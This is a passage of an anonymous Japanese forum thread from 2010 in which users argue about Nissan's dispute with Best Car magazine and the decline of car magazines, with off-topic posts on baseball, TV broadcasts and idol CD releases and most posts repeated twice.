スクープは確かに普通の人も興味あるが、メーカーからすると産業スパイみたいなもの。
かつ今回のようなマイナーチェンジをフルモデルチェンジみたく書いたりすると下手すると業務妨害になる。
むしろベストカー側の逆ギレにムカついた。俺が立場ある人物なら編集長おろす。
大メーカー、しかも大スポンサー怒らせるのはよっぽどだぞ。
三推社(だっけ？)どころか本体の講談社まで被害がくる可能性があるぞ。
901 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 18:31:59 ID:9iQZfuuq0
雑誌媒体どうのこうのよりも、日産がメーカーとしてそういう姿勢を取ったほうが問題だよ
日本を代表する大メーカーが、こんなあからさまな応対するから雑誌側はこういう批判を誌面に載せる
これじゃ「子供のケンカ」じゃん
もっと紳士になれないのかって思うよ メーカーも雑誌も
日本を代表する大メーカーが、こんなあからさまな応対するから雑誌側はこういう批判を誌面に載せる
これじゃ「子供のケンカ」じゃん
もっと紳士になれないのかって思うよ メーカーも雑誌も
902 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 19:29:18 ID:3emP5nfeO
マガジンＸじゃねーの？
903 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 21:39:53 ID:/m1SCAJd0
904 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 21:51:44 ID:TEPdpaBuO
大人気ないのは
ベストカーだよ。
広告を貰う立場のやることではない。
ベストカーだよ。
広告を貰う立場のやることではない。
905 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 22:48:32 ID:1Mq3HOPO0
906 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 23:01:04 ID:1HSBQrfo0
907 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 23:49:14 ID:7kDrNqgF0
俺が一連の記事見て思ったのは
日産・やや大人気ない
ベストカー・悪乗りのツケ
どっちかというとベストカーの方に不快感を持つ
国沢とか徳大寺など態度だけデカイ利権に群がるクズの巣窟ベストカーに
メーカーも愛想尽かしたんだろ
他のメーカーも日産に続けばこんなの普通の事になりそうだ
文章書く奴個人で拒否されるというのも出てくるかもしれん
車離れ，出版不況と言われるわりには雑誌の内容は低レベルなまま
日産は広告引き上げまではやってないしGT-R以外は試乗OKなんでしょ
ずいぶん優しいものだと思うけどベストカーはその辺考えているのか？？？
日産・やや大人気ない
ベストカー・悪乗りのツケ
どっちかというとベストカーの方に不快感を持つ
国沢とか徳大寺など態度だけデカイ利権に群がるクズの巣窟ベストカーに
メーカーも愛想尽かしたんだろ
他のメーカーも日産に続けばこんなの普通の事になりそうだ
文章書く奴個人で拒否されるというのも出てくるかもしれん
車離れ，出版不況と言われるわりには雑誌の内容は低レベルなまま
日産は広告引き上げまではやってないしGT-R以外は試乗OKなんでしょ
ずいぶん優しいものだと思うけどベストカーはその辺考えているのか？？？
908 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 00:28:33 ID:WHPdtFv70
>>907
そもそも今時、雑誌やテレビに広告を出す事にメリットがあるのか？近年はそんな考えの広告主が増えてるしな。
下手に広告垂れ流しするぐらいなら、自社の携帯サイトで割引クーポン配布した方がメリット大きいし。
>>896
床屋の順番待ちに最適。読んでる途中で呼ばれても困らないぐらい薄っぺらな記事内容だしｗ
そもそも今時、雑誌やテレビに広告を出す事にメリットがあるのか？近年はそんな考えの広告主が増えてるしな。
下手に広告垂れ流しするぐらいなら、自社の携帯サイトで割引クーポン配布した方がメリット大きいし。
>>896
床屋の順番待ちに最適。読んでる途中で呼ばれても困らないぐらい薄っぺらな記事内容だしｗ
909 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 07:56:14 ID:kQfpSEAR0
俺は鉄道、アニメ、音楽、オーディオ、映画、社会生物学、顔学、野球・・・などなどの趣味を
やめてしまったのでベストカーが、おたくの最後の砦だからやめれない。
やめてしまったのでベストカーが、おたくの最後の砦だからやめれない。
910 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 09:22:08 ID:X3qZlOlA0
911 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 09:49:11 ID:5g22svzy0
>>909
ベストカーが趣味のネタ元って悲哀すら感じるのだが
ベストカーが趣味のネタ元って悲哀すら感じるのだが
912 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 12:59:40 ID:p6eEFx4MO
ベストカーみたいなカー雑誌買う行為自体
アニメディア買うのと同じくらいはずかしい
ようになってきたよ。
アニメディア買うのと同じくらいはずかしい
ようになってきたよ。
913 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 13:21:04 ID:nx/cAq8c0
914 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 13:34:56 ID:p6eEFx4MO
アニメディアは
男同士の肛門性交にロマンを
感じる女性が読む雑誌ですよ。
男同士の肛門性交にロマンを
感じる女性が読む雑誌ですよ。
915 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 14:14:02 ID:EN7WwxavO
ベストカー立ち読みした
まんまと話題づくりの片棒担がされてるな。
無視していることができないベストカーの負け。
まんまと話題づくりの片棒担がされてるな。
無視していることができないベストカーの負け。
916 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 14:57:16 ID:RanpU0FvO
ベストカーはクルマ馬鹿のコーナーだけWeb版だけ残して後は廃止でいいよw
917 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 16:03:50 ID:twutaYo80
堂々と正面突破でベストカー拒否をやってるのが日産。
試乗車貸出禁止とか広告出稿停止とかを関連会社も含めて
大々的に締め上げてもらいたい。
メーカー事前発表をスクープ的に載せる、
消費者だましの馬鹿な雑誌を淘汰するために。
頑張れ！日産！
試乗車貸出禁止とか広告出稿停止とかを関連会社も含めて
大々的に締め上げてもらいたい。
メーカー事前発表をスクープ的に載せる、
消費者だましの馬鹿な雑誌を淘汰するために。
頑張れ！日産！
918 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 16:35:37 ID:6zL//2/40
メーカーで開発してる知人は
「未だ決まってないのに」って笑い飛ばしてたよ
普通はそんなモンじゃないのかな？
ちなみにM社のハイブリット・・・
「未だ決まってないのに」って笑い飛ばしてたよ
普通はそんなモンじゃないのかな？
ちなみにM社のハイブリット・・・
919 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 18:01:41 ID:kQfpSEAR0
今日一日で横浜ベイスターズに超詳しくなっちゃったニワカだけど、
(株)横浜スタジアムてのが牛耳ってて元凶なんだってさ。
横浜市職員の天下り先とかにもなってるんだってさ。
横浜スタジアムを何年も先まで使用しないといけない縛りが有って、
横浜スタジアム使用条件も常識外れで買収した企業には何の旨味も無いんだってさ。
日本国内でそんな条件下で所有する企業はTBSだけ状態みたいな。
どこかのスレに有ったけど比較すると楽天の三木谷さんは経営手腕ピカ一だな。
197 名前：名無しさん＠恐縮です[sage] 投稿日：2010/10/27(水) 14:57:03 ID:w+JPXnhZ0
横浜 Kスタ
年間使用量 5億 5千万
看板広告 球団に一切入らない 球団に全額入る
売店収入 球団に一切入らない 球団に全額入る
入場料 25％をハマスタに払う 球団に全額入る
ソースは産経新聞
http://up3.viploader.net/baseball/src/vlbaseball008176.jpg
スレチすみません
(株)横浜スタジアムてのが牛耳ってて元凶なんだってさ。
横浜市職員の天下り先とかにもなってるんだってさ。
横浜スタジアムを何年も先まで使用しないといけない縛りが有って、
横浜スタジアム使用条件も常識外れで買収した企業には何の旨味も無いんだってさ。
日本国内でそんな条件下で所有する企業はTBSだけ状態みたいな。
どこかのスレに有ったけど比較すると楽天の三木谷さんは経営手腕ピカ一だな。
197 名前：名無しさん＠恐縮です[sage] 投稿日：2010/10/27(水) 14:57:03 ID:w+JPXnhZ0
横浜 Kスタ
年間使用量 5億 5千万
看板広告 球団に一切入らない 球団に全額入る
売店収入 球団に一切入らない 球団に全額入る
入場料 25％をハマスタに払う 球団に全額入る
ソースは産経新聞
http://up3.viploader.net/baseball/src/vlbaseball008176.jpg
スレチすみません
920 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 18:48:44 ID:Dy86CTAu0
ベストカー取材拒否は、ＧＴ－Ｒと水野氏の問題よりも
新型マーチを酷評した国沢氏と、それに追い打ちを掛けた
「マーチのチリに、10円玉何枚の隙間？」記事が原因では、と感じている。
一時期の徳大寺のマツダ攻撃と同様
国沢やベストカーが、どれだけ日産とその製品を叩いても
時を追うごとに「ああ、またやってるな」となるだろうね。
取材できないんだから、信憑性もないだろうし。
あやまればよかったのに＞ベストカー
新型マーチを酷評した国沢氏と、それに追い打ちを掛けた
「マーチのチリに、10円玉何枚の隙間？」記事が原因では、と感じている。
一時期の徳大寺のマツダ攻撃と同様
国沢やベストカーが、どれだけ日産とその製品を叩いても
時を追うごとに「ああ、またやってるな」となるだろうね。
取材できないんだから、信憑性もないだろうし。
あやまればよかったのに＞ベストカー
921 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 18:54:10 ID:Dy86CTAu0
一番いいのは国沢切って、和解。
それで丸く収まるのでは。
所詮、クルマ専門誌、商業誌なんだから
広告主であり、ネタの供給元であるメーカーと喧嘩するなんてタブー。
そこを、こういうときだけジャーナリズムぶってもね。
子供すぎる。
それで丸く収まるのでは。
所詮、クルマ専門誌、商業誌なんだから
広告主であり、ネタの供給元であるメーカーと喧嘩するなんてタブー。
そこを、こういうときだけジャーナリズムぶってもね。
子供すぎる。
922 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 21:06:36 ID:L4E+fiig0
国沢ってなんで生きてるの？
923 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 21:21:34 ID:kQfpSEAR0
国沢はリーフを予約した。業界では彼だけ。
日産の広報では男性社員が１人だけ予約した。
日産の広報では男性社員が１人だけ予約した。
924 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 21:25:39 ID:L4E+fiig0
予約の見返りが何かしらあるとしか思えない件
925 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 21:50:38 ID:Dy86CTAu0
予約といって、実はタダでよこせと要求して
それを断られたとか…まさかね
それを断られたとか…まさかね
926 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 23:00:07 ID:Ub4yt1Id0
本物の基地外がいるスレはここですか？
927 ：名無しさん＠そうだドライブへ行こう：2010/10/27(水) 23:43:20 ID:WHPdtFv70
928 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 01:08:49 ID:B7CO0a+RO
ベストカーは
今のままでバカにされる
ポジションでよいと思う
スクープもマガジンエックスの
トレスでいい。
今のままでバカにされる
ポジションでよいと思う
スクープもマガジンエックスの
トレスでいい。
929 ：名無しさん＠そうだドライブへ行こう ：2010/10/28(木) 01:34:11 ID:AIqpd2Si0
どのみち、自動車雑誌も淘汰されていく。
評論家がそれによって青息吐息になっていっても、
彼らは「評論家」という職業を選択したワケで、
あとはどうなろうと「自己責任」だよ。
評論家がそれによって青息吐息になっていっても、
彼らは「評論家」という職業を選択したワケで、
あとはどうなろうと「自己責任」だよ。
930 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 07:47:53 ID:MLFxHaxt0
ipad専用デジタルカーマガジンができました。元ＮＡＶＩ編集長や徳大寺さんも
http://www.bagnole.jp/
http://www.bagnole.jp/
931 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 10:44:39 ID:MEdTs59z0
たかるな
932 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 18:33:58 ID:bMS7AXW00
>>918
M社ってマツダ？三菱？モーガン？それともMAN？
>>919
スレチでも面白かったからOK
スポーツチームが本拠地を置くにはかなり良い条件だと思われる横浜市で
ベイスターズがグズグズなのはそういう理由だったのか
日本のスポーツはモータースポーツを含めてそんなのばっかりだな
>>929
そもそもモータージャーナリストってその仕事自体が大きく儲かる訳ではなく
その肩書きを活かした仕事の方が美味しいという中途半端な職業だからなぁ・・・
しかし本当に実力のある人なら雑誌でもTVやネットでも肩書き活かしの仕事でも
不況とか車離れとか関係無く仕事ぐらいあるはずだと思うけどね
M社ってマツダ？三菱？モーガン？それともMAN？
>>919
スレチでも面白かったからOK
スポーツチームが本拠地を置くにはかなり良い条件だと思われる横浜市で
ベイスターズがグズグズなのはそういう理由だったのか
日本のスポーツはモータースポーツを含めてそんなのばっかりだな
>>929
そもそもモータージャーナリストってその仕事自体が大きく儲かる訳ではなく
その肩書きを活かした仕事の方が美味しいという中途半端な職業だからなぁ・・・
しかし本当に実力のある人なら雑誌でもTVやネットでも肩書き活かしの仕事でも
不況とか車離れとか関係無く仕事ぐらいあるはずだと思うけどね
933 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 19:56:31 ID:SZCsOOrR0
>>929
貧乏DIY派と金持ちの愛車自慢派に二極化して、各々がコミュニティを作って
情報発信する時代になるんだろ。
金額の大小はあるにせよ両方とも身銭を切っているわけで、広告主もクソもない状態で
書きたい放題書くから雑誌屋もメーカーもショップもみんな阿鼻叫喚だな。
理屈や方法が間違ってたらコミュニティ内で訂正されるのがネットの常だから
ジャーナリズムって点で見たら雑誌屋よりよっぽど優れてるんじゃないの？ｗ
貧乏DIY派と金持ちの愛車自慢派に二極化して、各々がコミュニティを作って
情報発信する時代になるんだろ。
金額の大小はあるにせよ両方とも身銭を切っているわけで、広告主もクソもない状態で
書きたい放題書くから雑誌屋もメーカーもショップもみんな阿鼻叫喚だな。
理屈や方法が間違ってたらコミュニティ内で訂正されるのがネットの常だから
ジャーナリズムって点で見たら雑誌屋よりよっぽど優れてるんじゃないの？ｗ
934 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 20:57:12 ID:ihLc0b800
ドリフト天国
935 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 21:17:22 ID:u8MttR9r0
>>905
インタビューした政治家の名前さえ間違える素人編集w
↓
「無策政権の400日」誤植のお詫び
「無策政権の400日」にて誤植がございましたので、ここにご報告申し上げます。
P62の「麻生太郎と松本純対談」の松本純氏の英文表記が下記のようになっておりました。
誤)Mastumoto
インタビューした政治家の名前さえ間違える素人編集w
↓
「無策政権の400日」誤植のお詫び
「無策政権の400日」にて誤植がございましたので、ここにご報告申し上げます。
P62の「麻生太郎と松本純対談」の松本純氏の英文表記が下記のようになっておりました。
誤)Mastumoto
936 ：名無しさん＠そうだドライブへ行こう：2010/10/28(木) 23:50:55 ID:+EEAHrvU0
937 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 00:17:18 ID:H3mqDNBZ0
>>936
しかし二大旧車誌を比べると、長く続くのはサビ取りの方だろうな。
誌面はカオスだし、評論家でない執筆陣が揃っている（変な環境サヨ執筆者も混じってるが）
編集部員の取材の移動手段で涙ぐましい節約までがレポされてる堅実ぶりだし、
レストアに絡めば新旧内外問わずネタが出てきて、現状８０年代前半のネオヒストリックまでも扱える素地ができてる。
しかもバイクや特殊自転車、石油発動機まで扱って、いくらでも新ネタを掘り出す力があるように見える。
ノスヒロは基本、昭和４０年代前後の国産名車群がメインのグラビアで記事がループして
マンネリ化を脱却できない。これでは徐々に自分の首を絞めていくことになりかねない。
しかし二大旧車誌を比べると、長く続くのはサビ取りの方だろうな。
誌面はカオスだし、評論家でない執筆陣が揃っている（変な環境サヨ執筆者も混じってるが）
編集部員の取材の移動手段で涙ぐましい節約までがレポされてる堅実ぶりだし、
レストアに絡めば新旧内外問わずネタが出てきて、現状８０年代前半のネオヒストリックまでも扱える素地ができてる。
しかもバイクや特殊自転車、石油発動機まで扱って、いくらでも新ネタを掘り出す力があるように見える。
ノスヒロは基本、昭和４０年代前後の国産名車群がメインのグラビアで記事がループして
マンネリ化を脱却できない。これでは徐々に自分の首を絞めていくことになりかねない。
938 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 00:25:02 ID:IawAGGGE0
939 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 00:36:41 ID:2EiFLW5k0
>>937
ノスヒロの方が長く続くと思うよ。
日本人、マンネリ大好きだもんな。
ノスヒロが70年代まで、姉妹誌ハチマルが80年代以降と
分離されているし、自分でレストアやメンテまで
手をかけない旧車好きにはコレでいいと思う。
ノスヒロの方が長く続くと思うよ。
日本人、マンネリ大好きだもんな。
ノスヒロが70年代まで、姉妹誌ハチマルが80年代以降と
分離されているし、自分でレストアやメンテまで
手をかけない旧車好きにはコレでいいと思う。
940 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 00:44:22 ID:gVLaeH4c0
941 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 10:16:33 ID:qC/I9M7qO
>>940
農家の納谷から発掘とかの物件だなw
農家の納谷から発掘とかの物件だなw
942 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 10:28:52 ID:aDx91kAv0
ノスヒロの方がショップから情報もらったり
ネットでオーナーズクラブに当たりつけて取材だから、
制作の手間が安上がりな気がしてる。
その分撮影に金が掛かってるが。
なので商売としてはノスヒロのほうがおいしいだろうな。
ネットでオーナーズクラブに当たりつけて取材だから、
制作の手間が安上がりな気がしてる。
その分撮影に金が掛かってるが。
なので商売としてはノスヒロのほうがおいしいだろうな。
943 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 13:16:10 ID:J4obmaZy0
ENGINEも流行のノベルティー攻撃ですか
しかし厚さも1年半前の半分位になっちゃったね
しかし厚さも1年半前の半分位になっちゃったね
944 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 18:02:15 ID:rpvOSNNe0
日本シリーズ第1戦が千葉県内で地上波中継放映されないワケ
千葉テレビ関係者が衝撃的内幕を暴露「テレビ東京が…」
http://www.zakzak.co.jp/sports/baseball/news/20101029/bbl1010291611008-n1.htm
あす３０日の第１戦（ナゴヤドーム）は史上初めて、地上波で全国中継されないことになった。
それでも中日の地元、愛知県ではテレビ東京系列のテレビ愛知がローカル枠で放送する。
問題はビジター側のロッテが本拠を置く、千葉県内で地上波中継がないことだ。
キー局のテレ東はこの時間帯に関東一円での日本シリーズ放送を見送り、
２時間のバラエティー番組を放送する。
この姿勢に不満爆発なのが、独立Ｕ局の千葉テレビだ。やはり全国中継がない第５戦を千葉県内で
ローカル中継するが、実は第１戦の中継も希望しながら、思わぬ横やりで断念に至ったという。
同局関係者は、衝撃的な内幕を明かす。
「第１戦の全国中継がなくなった時点で、ウチからテレビ愛知にネット送りできないかを打診した。
先方は２００万円程度の金額を提示するなど乗り気だったが、テレ東が認めず破談になった。
ウチが日本シリーズを放送したら、テレ東の視聴率が食われるからだと思うが、社内では
『だったらテレ東でやれよ！』という声がもっぱらです」
敵地に乗り込めない千葉のファンにしてみれば、放送はしてくれないわ、せっかく名乗り出た
他局の放送は邪魔するわで、テレ東の態度は迷惑以外の何者でもない。
千葉テレビ関係者が衝撃的内幕を暴露「テレビ東京が…」
http://www.zakzak.co.jp/sports/baseball/news/20101029/bbl1010291611008-n1.htm
あす３０日の第１戦（ナゴヤドーム）は史上初めて、地上波で全国中継されないことになった。
それでも中日の地元、愛知県ではテレビ東京系列のテレビ愛知がローカル枠で放送する。
問題はビジター側のロッテが本拠を置く、千葉県内で地上波中継がないことだ。
キー局のテレ東はこの時間帯に関東一円での日本シリーズ放送を見送り、
２時間のバラエティー番組を放送する。
この姿勢に不満爆発なのが、独立Ｕ局の千葉テレビだ。やはり全国中継がない第５戦を千葉県内で
ローカル中継するが、実は第１戦の中継も希望しながら、思わぬ横やりで断念に至ったという。
同局関係者は、衝撃的な内幕を明かす。
「第１戦の全国中継がなくなった時点で、ウチからテレビ愛知にネット送りできないかを打診した。
先方は２００万円程度の金額を提示するなど乗り気だったが、テレ東が認めず破談になった。
ウチが日本シリーズを放送したら、テレ東の視聴率が食われるからだと思うが、社内では
『だったらテレ東でやれよ！』という声がもっぱらです」
敵地に乗り込めない千葉のファンにしてみれば、放送はしてくれないわ、せっかく名乗り出た
他局の放送は邪魔するわで、テレ東の態度は迷惑以外の何者でもない。
945 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 18:06:43 ID:qC/I9M7qO
>>944
テレ東スポンサー収入激減で経営厳しいからw
テレ東スポンサー収入激減で経営厳しいからw
946 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 21:03:22 ID:rpvOSNNe0
742,109枚 Beginner / AKB48 10/10/27 【※７種(握手券＋投票券＋生写真)】
こいつ等の内でベストカー読者が何人居るのか？
個別握手会…（33×6＋43）×3＝合計723種類（研修生ってのがわからないのでさらに増えるかも）
ソース→http://www.kingrecords.co.jp/akb48/akushukai93.html
全国握手会…握手券二種類、全国7ブロック開催
（過去の実績では東京2回開催）
こいつ等の内でベストカー読者が何人居るのか？
個別握手会…（33×6＋43）×3＝合計723種類（研修生ってのがわからないのでさらに増えるかも）
ソース→http://www.kingrecords.co.jp/akb48/akushukai93.html
全国握手会…握手券二種類、全国7ブロック開催
（過去の実績では東京2回開催）
947 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 22:26:33 ID:YIJjUQv90
948 ：名無しさん＠そうだドライブへ行こう：2010/10/29(金) 22:34:13 ID:rpvOSNNe0
>>947
tsでもstでも意味は通じるから
tsでもstでも意味は通じるから
949 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 01:29:39 ID:hvP5XADV0
950 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 02:53:04 ID:amtiKUv30
11月17日発売
モーニング娘。「女と男のララバイゲーム」
女と男のララバイゲーム 【初回限定盤A】[CD+DVD](White Dance Shot Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【初回限定盤B】[CD+DVD](Close-up Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【初回限定盤C】[CD+DVD](Black Dance Shot Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【通常盤】
ジャケット４種
DVDはA・B・Cそれぞれ別バージョン収録
A・B・Cに握手会イベント抽選券を封入
http://www.helloproject.com/discography/musume/s_049.html
http://www.amazon.co.jp/dp/B003X03DD0
http://www.amazon.co.jp/dp/B003X03DDK
http://www.amazon.co.jp/dp/B003X03DDA
http://www.amazon.co.jp/dp/B003X03DDU
生写真特典など
http://www.helloproject.com/news/1010271200_musume.html
2010年11月17日に発売される、モーニング娘。44ｔｈシングル「女と男のララバイゲーム」の
初回生産限定盤A・B・Ｃ、通常盤を下記店舗にてお買い求めいただいたお客様に
先着でオリジナル特典をプレゼント致します！
各特典は数に限りがございます。無くなり次第、配布終了となりますので、
是非お近くのＣＤショップにてご予約ください。
※特典の有無に関しては、各店舗にお問い合わせください。
特典物の詳細は下記の通りです。
【TOWER RECORDS】 オリジナルB3ポスター
【HMV】 オリジナルステッカー
【TSUTAYA】 オリジナルクリアファイル
【新星堂】 オリジナルメモ帳
【その他 対象店舗】 生写真（トレカサイズ）
※対象店舗はコチラをご確認ください
モーニング娘。「女と男のララバイゲーム」
女と男のララバイゲーム 【初回限定盤A】[CD+DVD](White Dance Shot Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【初回限定盤B】[CD+DVD](Close-up Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【初回限定盤C】[CD+DVD](Black Dance Shot Ver.) 握手会イベント抽選券付き
女と男のララバイゲーム 【通常盤】
ジャケット４種
DVDはA・B・Cそれぞれ別バージョン収録
A・B・Cに握手会イベント抽選券を封入
http://www.helloproject.com/discography/musume/s_049.html
http://www.amazon.co.jp/dp/B003X03DD0
http://www.amazon.co.jp/dp/B003X03DDK
http://www.amazon.co.jp/dp/B003X03DDA
http://www.amazon.co.jp/dp/B003X03DDU
生写真特典など
http://www.helloproject.com/news/1010271200_musume.html
2010年11月17日に発売される、モーニング娘。44ｔｈシングル「女と男のララバイゲーム」の
初回生産限定盤A・B・Ｃ、通常盤を下記店舗にてお買い求めいただいたお客様に
先着でオリジナル特典をプレゼント致します！
各特典は数に限りがございます。無くなり次第、配布終了となりますので、
是非お近くのＣＤショップにてご予約ください。
※特典の有無に関しては、各店舗にお問い合わせください。
特典物の詳細は下記の通りです。
【TOWER RECORDS】 オリジナルB3ポスター
【HMV】 オリジナルステッカー
【TSUTAYA】 オリジナルクリアファイル
【新星堂】 オリジナルメモ帳
【その他 対象店舗】 生写真（トレカサイズ）
※対象店舗はコチラをご確認ください
951 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 03:06:15 ID:8YdY25ix0
ここで野球やアイドルのネタ振ってるやつ何がしたいの？
まあ俺も11/3は東京ドーム行くけどさ
まあ俺も11/3は東京ドーム行くけどさ
952 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 04:17:16 ID:Uo2Xzobs0
アイドルに入れ込んでる層と車雑誌の購読層は一致するんだろうよ。
免許取るか取らないかくらいが一番のお得意様だろうからな。
免許取るか取らないかくらいが一番のお得意様だろうからな。
953 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 05:14:58 ID:GJzqXALXP
車雑誌は改造車雑誌が一番面白いな
Kスタイルの60ページから読んでみな
軽に改造費300万とか700万掛けてダサくしてる
Kスタイルの60ページから読んでみな
軽に改造費300万とか700万掛けてダサくしてる
954 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 21:59:54 ID:hvP5XADV0
>>953
あれは使用者本人の自慰行為でしかないから、放置すればよい。
あれは使用者本人の自慰行為でしかないから、放置すればよい。
955 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 22:05:20 ID:MLEAKJAI0
956 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 22:22:27 ID:ng0BWUzW0
そりゃバカにされるわなw
http://tv.dee.cc/jlab-maru/s/maru1288440242753.jpg
http://jlab.dip.jp/pa/o/s/pa1288440209393.jpg
http://uploda.tv/jlab-live/k/s/live1288440229714.jpg
http://tv.dee.cc/jlab-maru/s/maru1288440242753.jpg
http://jlab.dip.jp/pa/o/s/pa1288440209393.jpg
http://uploda.tv/jlab-live/k/s/live1288440229714.jpg
957 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 22:39:35 ID:nQoWdfl70
> 「尖閣列島は日本固有の領土です。」 とか、
> 上から目線で書いているけど、
上もなにも
これは事実だろ
> 上から目線で書いているけど、
上もなにも
これは事実だろ
958 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 23:00:29 ID:Eo43O4Bs0
959 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 23:08:20 ID:lg9cRU4Y0
960 ：名無しさん＠そうだドライブへ行こう：2010/10/30(土) 23:52:54 ID:hvP5XADV0
MAG-Xは自動車雑誌よりオピニオン誌をやりたいのかもしれんが、
そのマーケットで勝てる可能性はゼロだろ。週刊経済誌３誌にも劣る。
そのマーケットで勝てる可能性はゼロだろ。週刊経済誌３誌にも劣る。
961 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 00:58:44 ID:TseGvYfK0
だって2chでｼｬｷｰﾝとなってる奴らと同レベルだろ。
金を取れるはずが無い。
金を取れるはずが無い。
962 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 01:23:08 ID:AGkyu6WS0
小林よしのりマンセーの 小学館、SAPIO（サピオ）と同じタイプの本だろ ｘは
963 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 12:35:56 ID:rsPQkyR/0
おまえらって本当に国家意識がねえのな。
国のことなんかどうでもいいわりに
ニートとかには文句の一つも言うから不思議。
普段、公共心のない人間を嫌ってるのも不思議。
国のことなんかどうでもいいわりに
ニートとかには文句の一つも言うから不思議。
普段、公共心のない人間を嫌ってるのも不思議。
964 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 18:21:29 ID:/SPIkrIP0
MAG-Xに情報提供していた人が会社から訴えられたそうだが、
自社ブログがウィルス感染しても１か月以上放置していたような
セキュリティ対応のところに
いまだに個人情報さらす命知らずがいるとはなw
965 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 19:14:25 ID:DRQsBLWU0
公共心を養え よしりん
966 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 20:53:53 ID:ucwpnO3yO
出会えない系広告の三栄よりは
まだ手術広告のネコパブのが10000倍まとも
まだ手術広告のネコパブのが10000倍まとも
967 ：名無しさん＠そうだドライブへ行こう：2010/10/31(日) 23:25:54 ID:SF2qNaTa0
公共心の欠如は、官僚のみならず、現代の日本人のほとんどを蝕んでいる病である
968 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 00:13:05 ID:kEv95O+g0
ベストカーの日産への誹謗中傷はヤバイと思った
969 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 00:31:57 ID:uFOOEyNc0
ベストカーがコケて消滅しても、影響なんかない
970 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 01:51:23 ID:RthBejaa0
>>968
他のメーカーはニヤニヤしてるからおｋ
他のメーカーはニヤニヤしてるからおｋ
971 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 12:25:39 ID:xQbrDtM/O
>>969
むしろコケてくれた方が講談社的にはありがたいw
むしろコケてくれた方が講談社的にはありがたいw
972 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 17:24:01 ID:ZXhsY8jn0
…と、野田さんも申しております。
群林堂から対向車線側に向かって敬礼！！
群林堂から対向車線側に向かって敬礼！！
973 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 19:51:32 ID:xb5XyVNy0
ベストカーの日産叩きか
どうせトヨタから工作資金もらってやってるんだろ
どうせトヨタから工作資金もらってやってるんだろ
974 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 19:58:30 ID:xQbrDtM/O
>>973
講談社グループの雑誌にあれだけ広告入れてもらってりゃ、そのぐらいしても不思議じゃないなw
講談社グループの雑誌にあれだけ広告入れてもらってりゃ、そのぐらいしても不思議じゃないなw
975 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 21:17:01 ID:lmhpAfSL0
976 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 21:27:48 ID:Da6GQtSs0
カタカナでパフュームって初めて見たな
